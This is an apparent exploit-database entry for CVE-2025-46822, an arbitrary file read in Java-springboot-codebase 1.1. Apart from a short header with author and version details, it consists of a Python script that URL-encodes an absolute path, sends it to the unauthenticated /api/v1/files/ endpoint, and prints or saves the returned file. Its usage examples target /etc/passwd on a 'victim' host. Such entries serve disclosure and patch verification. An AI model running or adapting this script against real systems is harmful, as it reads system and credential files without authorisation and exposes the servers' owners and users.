Java-springboot-codebase 1.1 – Arbitrary File Read
# Exploit Title: Java-springboot-codebase 1.1 - Arbitrary File Read # Google Dork: # Date: 23/May/2025 # Exploit Author: d3sca # Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase # Software Link: https://github.com/OsamaTaher/Java-springboot-codebase # Version: [app version] 1.1 # Tested on: Debian Linux # CVE : CVE-2025-46822 #usage: python3 cve-2025-46822.py http://victim.com /etc/passwd import argparse import requests from urllib.parse import quote def exploit(target, file_path, output=None): # Ensure the file path is absolute if not file_path.startswith('/'): print("[!] Warning: File path is not absolute. Prepending '/' to make it absolute.") file_path = '/' + file_path.lstrip('/') # URL-encode the file path encoded_path = quote(file_path, safe='') # Construct the target URL endpoint = f"/api/v1/files/{encoded_path}" url = target.rstrip('/') + endpoint print(f"[*] Attempting to retrieve: {file_path}") print(f"[*] Sending request to: {url}") try: response = requests.get(url, allow_redirects=False, timeout=10) if response.status_code == 200: print("[+] File retrieved successfully!") if output: with open(output, 'wb') as f: f.write(response.content) print(f"[+] Content saved to: {output}") else: print("\nFile contents:") print(response.text) else: print(f"[-] Failed to retrieve file. Status code: {response.status_code}") print(f"[-] Response: {response.text[:200]}") # Show first 200 chars of response except Exception as e: print(f"[-] An error occurred: {str(e)}") if name == "main": parser = argparse.ArgumentParser(description="Exploit Path Traversal Vulnerability in Unauthenticated File API") parser.add_argument("target", help="Target base URL (e.g., http://victim:8080)") parser.add_argument("file_path", help="Absolute path to target file (e.g., /etc/passwd)") parser.add_argument("-o", "--output", help="Output file to save contents") args = parser.parse_args() exploit(args.target, args.file_path, args.output) |